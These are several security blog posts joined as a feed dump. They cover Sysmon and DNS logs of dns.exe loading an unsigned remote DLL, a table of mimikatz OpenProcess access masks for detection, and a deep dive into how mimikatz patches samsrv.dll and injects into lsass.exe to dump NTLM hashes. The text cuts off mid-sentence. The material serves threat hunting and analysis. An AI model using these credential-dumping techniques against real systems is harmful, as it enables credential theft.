<span class="w"> </span><span class="nt"><Channel></span>Microsoft-Windows-Sysmon/Operational<span class="nt"></Channel></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Computer></span>dc1.lab.internal<span class="nt"></Computer></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Security</span><span class="w"> </span><span class="na">UserID=</span><span class="s">"S-1-5-18"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"></System></span>
-<span class="w"> </span><span class="nt"><EventData></span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">></span>2017-05-09<span class="w"> </span>08:54:26.786<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">></span>{85D1CFA0-83C2-5911-0000-00105E6E7300}<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">></span>2312<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Image"</span><span class="nt">></span>C:\Windows\System32\dns.exe<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"ImageLoaded"</span><span class="nt">></span>\\192.168.0.149\dll\wtf.dll<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Hashes"</span><span class="nt">></span>SHA1=64EC0621DF216115C0CF6F4958E0866D0C74734B<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Signed"</span><span class="nt">></span>false<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Signature"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"SignatureStatus"</span><span class="nt">></span>Unavailable<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"></EventData></span>
<span class="w"> </span><span class="nt"></Event></span>
</code></pre></div>
<h2>events triggered: on error</h2>
<div class="highlight"><pre><span></span><code>-<span class="w"> </span><span class="nt"><Event</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://schemas.microsoft.com/win/2004/08/events/event"</span><span class="nt">></span>
-<span class="w"> </span><span class="nt"><System></span>
<span class="w"> </span><span class="nt"><Provider</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Microsoft-Windows-DNS-Server-Service"</span><span class="w"> </span><span class="na">Guid=</span><span class="s">"{71A551F5-C893-4849-886B-B5EC8502641E}"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><EventID></span>150<span class="nt"></EventID></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Version></span>0<span class="nt"></Version></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Level></span>2<span class="nt"></Level></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Task></span>0<span class="nt"></Task></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Opcode></span>0<span class="nt"></Opcode></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Keywords></span>0x8000000000008000<span class="nt"></Keywords></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><TimeCreated</span><span class="w"> </span><span class="na">SystemTime=</span><span class="s">"2017-05-09T08:00:55.264092600Z"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><EventRecordID></span>219<span class="nt"></EventRecordID></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Correlation</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Execution</span><span class="w"> </span><span class="na">ProcessID=</span><span class="s">"3904"</span><span class="w"> </span><span class="na">ThreadID=</span><span class="s">"2324"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Channel></span>DNS<span class="w"> </span>Server<span class="nt"></Channel></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Computer></span>dc1.lab.internal<span class="nt"></Computer></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Security</span><span class="w"> </span><span class="na">UserID=</span><span class="s">"S-1-5-18"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"></System></span>
-<span class="w"> </span><span class="nt"><EventData</span><span class="w"> </span><span class="na">Name=</span><span class="s">"DNS_EVENT_PLUGIN_INIT_FAILED"</span><span class="nt">></span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"param1"</span><span class="nt">></span>\\192.168.0.149\dll\wtf.dll<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Binary></span>7F000000<span class="nt"></Binary></span><span class="w"> </span>
<span class="w"> </span><span class="nt"></EventData></span>
<span class="w"> </span><span class="nt"></Event></span>
</code></pre></div>Hunting mimikatz with sysmon: monitoring OpenProcess()2017-04-29T22:22:00+02:002017-04-29T22:22:00+02:00dimitag:blog.3or.de,2017-04-29:/hunting-mimikatz-with-sysmon-monitoring-openprocess.html<p>Mimikatz is extensively using OpenProcess to access credentials and patch processes. This event can be monitored with sysmon (EventID 10). Here's a list of GrantedAccess values you can monitor.</p><p><strong>Update:</strong>
Since this post is getting some international attention I want to use the
chance: If you are into Threat Hunting and interested in collaboration: Contact
me and consider working on the ThreatHunter-Playbook! :)
<strong>/Update</strong> </p>
<p>The art of hunting mimikatz with sysmons EventID 10 got already published by
<a href="https://twitter.com/cyb3rward0g">@cyb3rward0g</a> in his great blog: <a href="https://cyberwardog.blogspot.de/2017/03/chronicles-of-threat-hunter-hunting-for_22.html">Chronicles of a Threat Hunter: Hunting for In-Memory Mimikatz with Sysmon and ELK - Part II (Event ID 10)</a>. He also published
the <a href="https://github.com/VVard0g/ThreatHunter-Playbook/blob/master/README.md">ThreatHunter Playbook</a> which
is a great collection of Windows Events you can use to hunt intruders in your network.
I will shortly set up a GitHub Pull request to the playbook, maybe my findings
are interesting for the community. :)</p>
<p>From there I today invested some time to analyze mimikatz to extract all uses of
OpenProcess() and therefore some more indicators to hunt mimikatz. To achive that
I first created a caller graph for OpenProcess() using the whole mimikatz source
tree:</p>
<p><a href="https://blog.3or.de/images/hunting-mimikatz-with-sysmon-OpenProcess-1.png"><img alt="caller graph OpenProcess()" src="/thumbnails/400px/hunting-mimikatz-with-sysmon-OpenProcess-1.png"></a></p>
<p><em>Update</em>:
I used mimikatz 2.1.1, which i checked out and build on April, 1st 2017.
<em>/Update</em></p>
<p>From there on I walked through the callers of OpenProcess() and extracted the
following values (bitmask, opened process, module and command). To ease my work
a little bit I wrote a small helper binary calc_mask which simply calculates the
bitmask to the corresponding string:</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>./calc_mask<span class="w"> </span>-m<span class="w"> </span><span class="s2">"PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |</span>
<span class="s2">PROCESS_QUERY_INFORMATION"</span>
0x1438
</code></pre></div>
<p>It's written in go, it is free but not yet complete. Get it <a href="https://github.com/dim0x69/windows-hunting/tree/master/calc_mask">here</a></p>
<p>From there on it was just some routine piece of work. Please note the comments in the last column. </p>
<ul>
<li>
<p>My most interesting finding is the behaviour of mimikatzs command <strong>event::drop</strong>, which
patches the Eventlog process to drop all received events - even the event which is
necessary to patch the Eventlog process (!). This might be some kind of race
condition ...</p>
</li>
<li>
<p>The Events, especially the amount, generated by the <strong>token::*</strong> commands is
also noteworthy. These commands result in a huge number of OpenProcess() calls which should be pretty
easy to monitor - see the comment column.</p>
</li>
</ul>
<p>Todos:</p>
<ul>
<li>OpenProcessToken()</li>
<li>...</li>
</ul>
<p>In the future I might post some elaboration about my findings, but for now: to the data...</p>
<table>
<thead>
<tr>
<th>module</th>
<th>OpenProcess caller function</th>
<th>destination process / destination service</th>
<th>ACCESS_MASK</th>
<th>ACCESS_MASK translated</th>
<th>comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>lsadump::lsa /patch</td>
<td>kuhl_m_lsadump_lsa_getHandle()</td>
<td>SamSs</td>
<td>PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION</td>
<td>0x1438</td>
<td></td>
</tr>
<tr>
<td>lsadump::lsa /inject</td>
<td>kuhl_m_lsadump_lsa_getHandle()</td>
<td>SamSs</td>
<td>PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD</td>
<td>0x143a</td>
<td></td>
</tr>
<tr>
<td>lsadump::trust /patch</td>
<td>kuhl_m_lsadump_lsa_getHandle()</td>
<td>SamSs</td>
<td>PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION</td>
<td>0x1438</td>
<td></td>
</tr>
<tr>
<td>minesweeper::infos</td>
<td>kuhl_m_minesweeper_infos()</td>
<td>minesweeper.exe</td>
<td>PROCESS_VM_READ | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION</td>
<td>0x1418</td>
<td></td>
</tr>
<tr>
<td>misc:detours</td>
<td>kuhl_m_misc_detours_callback_process()</td>
<td>*</td>
<td>GENERIC_READ</td>
<td></td>
<td>omitted because of the very generic ACCESS_MASK</td>
</tr>
<tr>
<td>misc:memssp</td>
<td>kuhl_m_misc_memssp()</td>
<td>lsass.exe</td>
<td>PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION</td>
<td>0x1438</td>
<td></td>
</tr>
<tr>
<td>misc:skeleton</td>
<td>kuhl_m_misc_skeleton()</td>
<td>lsass.exe</td>
<td>PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION</td>
<td>0x1438</td>
<td></td>
</tr>
<tr>
<td>process::suspend, process:stop, process:resume,process:imports, process:exports</td>
<td>kuhl_m_process_genericOperation()</td>
<td></td>
<td></td>
<td></td>
<td>omitted because of the very generic ACCESS_MASKs</td>
</tr>
<tr>
<td>vault::cred /patch</td>
<td>kuhl_m_vault_cred()</td>
<td>SamSs</td>
<td>PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION</td>
<td>0x1438</td>
<td></td>
</tr>
<tr>
<td>sekurlsa::*</td>
<td>kuhl_m_sekurlsa_acquireLSA()</td>
<td>lsass.exe</td>
<td>PROCESS_VM_READ | PROCESS_QUERY_INFORMATION</td>
<td>0x1410</td>
<td>for Windows Version < 5</td>
</tr>
<tr>
<td>sekurlsa::*</td>
<td>kuhl_m_sekurlsa_acquireLSA()</td>
<td>lsass.exe</td>
<td>PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION</td>
<td>0x1010</td>
<td>for Windows Version >= 6</td>
</tr>
<tr>
<td>token::list, token::elevate, token::run</td>
<td>querying all processes on the system</td>
<td>*</td>
<td></td>
<td>first 0x1400 then 0x40</td>
<td>all three commands result in a call to kull_m_token_getTokens() which first iterates over <strong>all</strong> processes and threads with OpenProcess(PROCESS_QUERY_INFORMATION (0x1400)) (kull_m_token_getTokens_process_callback()) and then again to get the tokens OpenProcess(PROCESS_DUP_HANDLE (0x40)) (in kull_m_handle_getHandlesOfType_callback()) to duplicate the Tokens. This resultet in many thousand (!) Events with ID 10 (!)</td>
</tr>
<tr>
<td>crypto::cng</td>
<td>kull_m_patch_genericProcessOrServiceFromBuild() via kuhl_m_crypto_p_cng()</td>
<td>KeyIso</td>
<td>PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION</td>
<td>0x1438</td>
<td></td>
</tr>
<tr>
<td>event::drop</td>
<td>kull_m_patch_genericProcessOrServiceFromBuild() via kuhl_m_event_drop()</td>
<td>EventLog</td>
<td>PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION</td>
<td>0x1438</td>
<td>** this event does not get logged! :O mimikatz seems to be fast enough to apply the patch before the event gets logged!**</td>
</tr>
<tr>
<td>misc::ncroutemon</td>
<td>kull_m_patch_genericProcessOrServiceFromBuild() via kuhl_m_misc_ncroutemon()</td>
<td>dsNcService</td>
<td>PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION</td>
<td>0x1438</td>
<td></td>
</tr>
<tr>
<td>ts::multirdp</td>
<td>kull_m_patch_genericProcessOrServiceFromBuild() via kuhl_m_ts_multirdp()</td>
<td>TermService</td>
<td>PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION</td>
<td>0x1438</td>
<td></td>
</tr>
</tbody>
</table>mimikatz: deep dive on lsadump::lsa /patch and /inject2017-04-12T22:22:00+02:002017-04-12T22:22:00+02:00dimitag:blog.3or.de,2017-04-12:/mimikatz-deep-dive-on-lsadumplsa-patch-and-inject.html<p>A technical deep dive on the inner workings of mimikatz's features lsadump::lsa /patch and lsadump::lsa /inject</p><h1>Introduction</h1>
<p>Some time ago on a lazy, snowy sunday afternoon I decided to take a deep dive
into mimikatz. While browsing through the features of this fascinating tool I came
across the module lsadump::lsa and just started to explore that. Since
mimikatz's overall documentation is ... improvable ;) I decided to write my
findings down. Maybe this helps somebody.</p>
<p>The module lsadump::lsa includes two commands, which I will explore in the
following: /patch and /inject. Both commands operate on the SamSs service with the
goal to retrieve credentials.
Both commands begin their work by acquiring a handle on the
SamSs service (lsass.exe). The handle is acquired by calling the syscall OpenProcess() with
the flags which are required to execute the specified command. The /patch command, for example, requests
the following permissions on lsass.exe:</p>
<div class="highlight"><pre><span></span><code><span class="k">PROC</span><span class="nv">ESS_VM_READ</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nv">PROCESS_VM_WRITE</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nv">PROCESS_VM_OPERATION</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nv">PROCESS_QUERY_INFORMATION</span>
</code></pre></div>
<p>/inject is additionally requesting PROCESS_CREATE_THREAD, which /patch does not
require, since it does not start a thread inside lsass.exe.</p>
<p><strong>hint: these flags are a great place to start hunting using sysmon
with your Blue Team</strong>).</p>
<p>Both commands let you limit which user's credentials get retrieved, either by
specifying his RID (/id:500) or his name (/name:administrator). Before the magic
starts mimikatz follows this path for both commands:</p>
<p>First mimikatz opens a handle on the LSA policy (LsaOpenPolicy()), using this
handle it retrieves the domain information (LsaQueryInformationPolicy()). Then,
for both commands, it connects to the SAM API (SamConnect()). There it opens the
found domain (SamOpenDomain()). After that RID and username handles can be
retrieved to limit the scope of the credential retrival as specified by the
user.</p>
<p>The next step is to retrive the credentials. How does mimikatz do that?</p>
<h2>/patch</h2>
<p><img alt="mimikatz lsadump::lsa /patch" src="https://blog.3or.de/images/mimikatz-lsadump-patch-inject-1.png"></p>
<p>As the command name suggests mimikatz is patching something to dump the NTLM hashes - namely the
samsrv.dll running inside the process lsass.exe. </p>
<p>The relevant function (kuhl_m_lsadump_lsa())is defined in
<a href="https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.c#L971">modules/kuhl_m_lsadump.c</a>.
The following code section shows just the information which is relevant for patching (my following example shows the Windows 8 x86 DLL for samsrv.dll):</p>
<div class="highlight"><pre><span></span><code>BYTE PTRN_WALL_SampQueryInformationUserInternal[] = {0xc6, 0x40, 0x22, 0x00, 0x8b};
BYTE PATC_WALL_JmpShort[] = {0xeb, 0x04};
{KULL_M_WIN_BUILD_8, {sizeof(PTRN_WALL_SampQueryInformationUserInternal), PTRN_WALL_SampQueryInformationUserInternal}, {sizeof(PATC_WALL_JmpShort), PATC_WALL_JmpShort}, {-12}}
</code></pre></div>
<p>After retrieving some information (e.g. base address of samsrv.dll in memory)
necessary to patch the memory of the library the function
<a href="https://github.com/gentilkiwi/mimikatz/blob/master/modules/kull_m_patch.c#L8">kull_m_patch()</a>
searches for the byte sequence "c6 40 22 00" in memory. After finding that it
replaces the two bytes at the found address of the byte sequence "c6 40 22 00"
minus 12 with the bytes "eb 04". So what does that mean? Let us look at the disassembly:</p>
<p><img alt="Disassembly of the patched location" src="https://blog.3or.de/images/mimikatz-lsadump-patch-inject-2.png"></p>
<p>The location marked by the red breakpoint is the instruction which gets
replaced with the bytes "eb 04". "eb 04" is a unconditional short jump of 4 bytes - which has the
effect that the access check on the value 0x20 is ignored and the flow directly
jumps to the preparation for calling
the SAM-internal function _SampRetrieveUserPasswords. It seems this function
is populating the attributes of the requested object with the NTLM hashes. </p>
<p>By skimming over the disassembly (and by API the general API layout) I
assume the register edi holds a handle to the UserObject, which whats to access the
user's passwords. So what is referenced at edi+0xC? Whatever it is - if this byte's
value is not 0x20 the call of _SampRetrieveUserPasswords is skipped. </p>
<p>Searching for a documenation of the UserObject passed in edi I found the ReactOS source code which
shows that the object behind the handle is typedefed to _SAM_DB_OBJECT. By having a
look at this object we can assume what edi+0xC is:</p>
<p><img alt="_SAM_DB_OBJECT" src="https://blog.3or.de/images/mimikatz-lsadump-patch-inject-3.png"></p>
<p>Since ULONG is 4 Bytes and SAM_DB_OBJECT_TYPE is an enum, which is an int and
therefore also 4 Bytes 0xC means edi+0xC is accessing the ACCESS_MASK value -
and since we are on x86 it's least significant byte. Lastly, by having a look at
the <a href="https://msdn.microsoft.com/en-us/library/cc245525.aspx">SAMR documentation of the
ACCESS_MASK</a>, we can see:
If the LSB of ACCESS_MASK is 0x20 the user accessing the object has the
USER_WRITE_ACCOUNT permission, which translates to "<em>Specifies the ability to
write attributes related to the administration of the user object.</em>"</p>
<p>After patching <em>SampQueryInformationUserInternal()</em> mimikatz is calling </p>
<div class="highlight"><pre><span></span><code>SamQueryInformationUser(hUser, UserInternal1Information, &pUserInfoBuffer);
</code></pre></div>
<p>to retrieve UserInternal1Information - which results, internally in samsrv.dll, in a call to
<em>SampQueryInformationUserInternal()</em>, which we just patched.</p>
<p>UserInternal1Information is
<a href="https://msdn.microsoft.com/en-us/library/cc245612.aspx">documented</a> as follows:</p>
<div class="highlight"><pre><span></span><code><span class="nx">typedef</span><span class="w"> </span><span class="nx">struct</span><span class="w"> </span><span class="nx">_SAMPR_USER_INTERNAL1_INFORMATION</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">ENCRYPTED_NT_OWF_PASSWORD</span><span class="w"> </span><span class="nx">EncryptedNtOwfPassword</span><span class="p">;</span>
<span class="w"> </span><span class="nx">ENCRYPTED_LM_OWF_PASSWORD</span><span class="w"> </span><span class="nx">EncryptedLmOwfPassword</span><span class="p">;</span>
<span class="w"> </span><span class="nx">unsigned</span><span class="w"> </span><span class="nx">char</span><span class="w"> </span><span class="nx">NtPasswordPresent</span><span class="p">;</span>
<span class="w"> </span><span class="nx">unsigned</span><span class="w"> </span><span class="nx">char</span><span class="w"> </span><span class="nx">LmPasswordPresent</span><span class="p">;</span>
<span class="w"> </span><span class="nx">unsigned</span><span class="w"> </span><span class="nx">char</span><span class="w"> </span><span class="nx">PasswordExpired</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="nx">SAMPR_USER_INTERNAL1_INFORMATION</span>
</code></pre></div>
<p>Just a additional note: You see the "case 0x12"in the disassembly above?
<em>SampQueryInformationUserInternal()</em> is handling multiple internal buffers, and
0x12 stands for, as you can see
<a href="https://msdn.microsoft.com/en-us/library/cc245617.aspx">here</a>, for UserInternal1Information.
<em>SampQueryInformationUserInternal</em> is just build as a
huge switch-case-statement to handle the different types of requestable internal
information buffers. IDA recognizes that switch-case-statement greatly!</p>
<h2>/inject</h2>
<p>After we understood the technique used by mimikatz for /patch, what happens when
we call lsadump::lsa /inject? Inject essentially starts a thread in the context of
lsass.exe (SamSs-Service) and dumps the requested credentials from within this thread. </p>
<p>The code for the started thread is defined
<a href="https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump_remote.c">here</a>,
let us just take a exemplary part of the code to analyze the inner workings of
/inject:</p>
<div class="highlight"><pre><span></span><code><span class="nx">mimikatz</span><span class="o">/</span><span class="nx">modules</span><span class="o">/</span><span class="nx">kuhl_m_lsadump_remote</span><span class="p">.</span><span class="nx">c</span><span class="p">:</span>
<span class="o">...</span>
<span class="k">if</span><span class="p">(</span><span class="nx">NT_SUCCESS</span><span class="p">(((</span><span class="nx">PSAMICONNECT</span><span class="p">)</span><span class="w"> </span><span class="mh">0x4</span><span class="mi">141414141414141</span><span class="p">)(</span><span class="nx">NULL</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="nx">hSam</span><span class="p">,</span><span class="w"> </span><span class="mh">0x1</span><span class="mi">0000000</span><span class="p">,</span><span class="w"> </span><span class="nx">TRUE</span><span class="p">)))</span>
<span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="nx">NT_SUCCESS</span><span class="p">(((</span><span class="nx">PLSAIQUERYINFORMATIONPOLICYTRUSTED</span><span class="p">)</span><span class="w"> </span><span class="mh">0x4</span><span class="mi">848484848484848</span><span class="p">)(</span><span class="nx">PolicyAccountDomainInformation</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="nx">PVOID</span><span class="w"> </span><span class="o">*</span><span class="p">)(</span><span class="o">&</span><span class="nx">pPolicyDomainInfo</span><span class="p">))))</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="nx">NT_SUCCESS</span><span class="p">(((</span><span class="nx">PSAMROPENDOMAIN</span><span class="p">)</span><span class="w"> </span><span class="mh">0x4</span><span class="mi">444444444444444</span><span class="p">)(</span><span class="nx">hSam</span><span class="p">,</span><span class="w"> </span><span class="mh">0x1</span><span class="mi">0000000</span><span class="p">,</span><span class="w"> </span><span class="nx">pPolicyDomainInfo</span><span class="o">-></span><span class="nx">DomainSid</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="nx">hDomain</span><span class="p">)))</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="nx">NT_SUCCESS</span><span class="p">(((</span><span class="nx">PSAMROPENUSER</span><span class="p">)</span><span class="w"> </span><span class="mh">0x4</span><span class="mi">545454545454545</span><span class="p">)(</span><span class="nx">hDomain</span><span class="p">,</span><span class="w"> </span><span class="mh">0x1</span><span class="mi">0000000</span><span class="p">,</span><span class="w"> </span><span class="nx">lpParameter</span><span class="o">-></span><span class="nx">input</span><span class="p">.</span><span class="nx">inputDword</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="nx">hUser</span><span class="p">)))</span>
<span class="o">...</span>
<span class="nx">mimikatz</span><span class="o">/</span><span class="nx">modules</span><span class="o">/</span><span class="nx">kuhl_m_lsadump_remote</span><span class="p">.</span><span class="nx">h</span><span class="p">:</span>
<span class="o">...</span>
<span class="nx">typedef</span><span class="w"> </span><span class="nx">NTSTATUS</span><span class="w"> </span><span class="p">(</span><span class="nx">WINAPI</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">PSAMICONNECT</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="nx">IN</span><span class="w"> </span><span class="nx">PUNICODE_STRING</span><span class="w"> </span><span class="nx">ServerName</span><span class="p">,</span><span class="w"> </span><span class="nx">OUT</span><span class="w"> </span><span class="nx">SAMPR_HANDLE</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">ServerHandle</span><span class="p">,</span><span class="w"> </span><span class="nx">IN</span><span class="w"> </span><span class="nx">ACCESS_MASK</span><span class="w"> </span><span class="nx">DesiredAccess</span><span class="p">,</span><span class="w"> </span><span class="nx">IN</span><span class="w"> </span><span class="nx">BOOLEAN</span><span class="w"> </span><span class="nx">Trusted</span><span class="p">);</span>
<span class="o">...</span>
</code></pre></div>
<p>This code is casting some strange values (0x4141...) and then executing this?
How does that work? Under no cirumstance these values are valid memory
addresses, which can be executed inside lsass.exe. Something else must
be happening...</p>
<div class="highlight"><pre><span></span><code><span class="nt">mimikatz</span><span class="o">/</span><span class="nt">modules</span><span class="o">/</span><span class="nt">kuhl_m_lsadump</span><span class="p">.</span><span class="nc">c</span><span class="o">:</span>
<span class="o">...</span>
<span class="nt">REMOTE_EXT</span><span class="w"> </span><span class="nt">extensions</span><span class="cp">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="err">{szSamSrv,</span><span class="w"> </span><span class="err">"SamIConnect",</span><span class="w"> </span><span class="err">(PVOID)</span><span class="w"> </span><span class="err">0x4141414141414141,</span><span class="w"> </span><span class="err">NULL</span><span class="p">}</span><span class="o">,</span>
<span class="w"> </span><span class="p">{</span><span class="err">szSamSrv,</span><span class="w"> </span><span class="err">"SamrCloseHandle",</span><span class="w"> </span><span class="err">(PVOID)</span><span class="w"> </span><span class="err">0x4242424242424242,</span><span class="w"> </span><span class="err">NULL</span><span class="p">}</span><span class="o">,</span>
<span class="w"> </span><span class="p">{</span><span class="err">szSamSrv,</span><span class="w"> </span><span class="err">"SamIRetrievePrimaryCredentials",</span><span class="w"> </span><span class="err">(PVOID)</span><span class="w"> </span><span class="err">0x4343434343434343,</span><span class="w"> </span><span class="err">NULL</span><span class="p">}</span><span class="o">,</span>
<span class="w"> </span><span class="p">{</span><span class="err">szSamSrv,</span><span class="w"> </span><span class="err">"SamrOpenDomain",</span><span class="w"> </span><span class="err">(PVOID)</span><span class="w"> </span><span class="err">0x4444444444444444,</span><span class="w"> </span><span class="err">NULL</span><span class="p">}</span><span class="o">,</span>
<span class="w"> </span><span class="p">{</span><span class="err">szSamSrv,</span><span class="w"> </span><span class="err">"SamrOpenUser",</span><span class="w"> </span><span class="err">(PVOID)</span><span class="w"> </span><span class="err">0x4545454545454545,</span><span class="w"> </span><span class="err">NULL</span><span class="p">}</span><span class="o">,</span>
<span class="w"> </span><span class="p">{</span><span class="err">szSamSrv,</span><span class="w"> </span><span class="err">"SamrQueryInformationUser",</span><span class="w"> </span><span class="err">(PVOID)</span><span class="w"> </span><span class="err">0x4646464646464646,</span><span class="w"> </span><span class="err">NULL</span><span class="p">}</span><span class="o">,</span>
<span class="w"> </span><span class="p">{</span><span class="err">szSamSrv,</span><span class="w"> </span><span class="err">"SamIFree_SAMPR_USER_INFO_BUFFER",</span><span class="w"> </span><span class="err">(PVOID)</span><span class="w"> </span><span class="err">0x4747474747474747,</span><span class="w"> </span><span class="err">NULL</span><span class="p">}</span><span class="o">,</span>
<span class="w"> </span><span class="p">{</span><span class="err">szLsaSrv,</span><span class="w"> </span><span class="err">"LsaIQueryInformationPolicyTrusted",(PVOID)</span><span class="w"> </span><span class="err">0x4848484848484848,</span><span class="w"> </span><span class="err">NULL</span><span class="p">}</span><span class="o">,</span>
<span class="w"> </span><span class="p">{</span><span class="err">szLsaSrv,</span><span class="w"> </span><span class="err">"LsaIFree_LSAPR_POLICY_INFORMATION",(PVOID)</span><span class="w"> </span><span class="err">0x4949494949494949,</span><span class="w"> </span><span class="err">NULL</span><span class="p">}</span><span class="o">,</span>
<span class="w"> </span><span class="p">{</span><span class="err">szKernel32,"VirtualAlloc",</span><span class="w"> </span><span class="err">(PVOID)</span><span class="w"> </span><span class="err">0x4a4a4a4a4a4a4a4a,</span><span class="w"> </span><span class="err">NULL</span><span class="p">}</span><span class="o">,</span>
<span class="w"> </span><span class="p">{</span><span class="err">szKernel32,"LocalFree",</span><span class="w"> </span><span class="err">(PVOID)</span><span class="w"> </span><span class="err">0x4b4b4b4b4b4b4b4b,</span><span class="w"> </span><span class="err">NULL</span><span class="p">}</span><span class="o">,</span>
<span class="w"> </span><span class="p">{</span><span class="err">szNtDll,</span><span class="w"> </span><span class="err">"memcpy",</span><span class="w"> </span><span class="err">(PVOID)</span><span class="w"> </span><span class="err">0x4c4c4c4c4c4c4c4c,</span><span class="w"> </span><span class="err">NULL</span><span class="p">}</span><span class="o">,</span>
<span class="err">}</span><span class="o">;</span>
<span class="o">...</span>
</code></pre></div>
<p>Mimikatz executes followin steps to inject into lsass:</p>
<ol>
<li>take the allocated memory, in which the code for the remote thread resides(kuhl_sekurlsa_samsrv_thread())</li>
<li>resolve addresses of the functions (listed in the extensions structure, see
above) inside the lsass process
(<a href="https://github.com/gentilkiwi/mimikatz/blob/master/modules/kull_m_remotelib.c#L159">kull_m_remotelib_GetProcAddressMultipleModules()</a>)</li>
<li>parse the created thread for the "marker" bytes (e.g. 0x414141...) and
replace them with the real address of the associated samsrv.dll-functions, found in step
2. (<a href="https://github.com/gentilkiwi/mimikatz/blob/master/modules/kull_m_remotelib.c#L168">kull_m_remotelib_CreateRemoteCodeWitthPatternReplace()</a>)</li>
<li>run the thread and exploit!</li>
</ol>
<p><strong>Since mimikatz requires PROCESS_CREATE_THREAD in its OpenProcess() call for
/inject, the overall requested flag mask is pretty unique (at least in my test
environment)... as already mentioned above: sysmon to the Blue Team rescue! ;)</strong></p>
<p>What a nice technique. With the /inject command mimikatz is additionally
querying samsrv via the function <em>SamIRetrievePrimaryCredentials</em> to retrieve
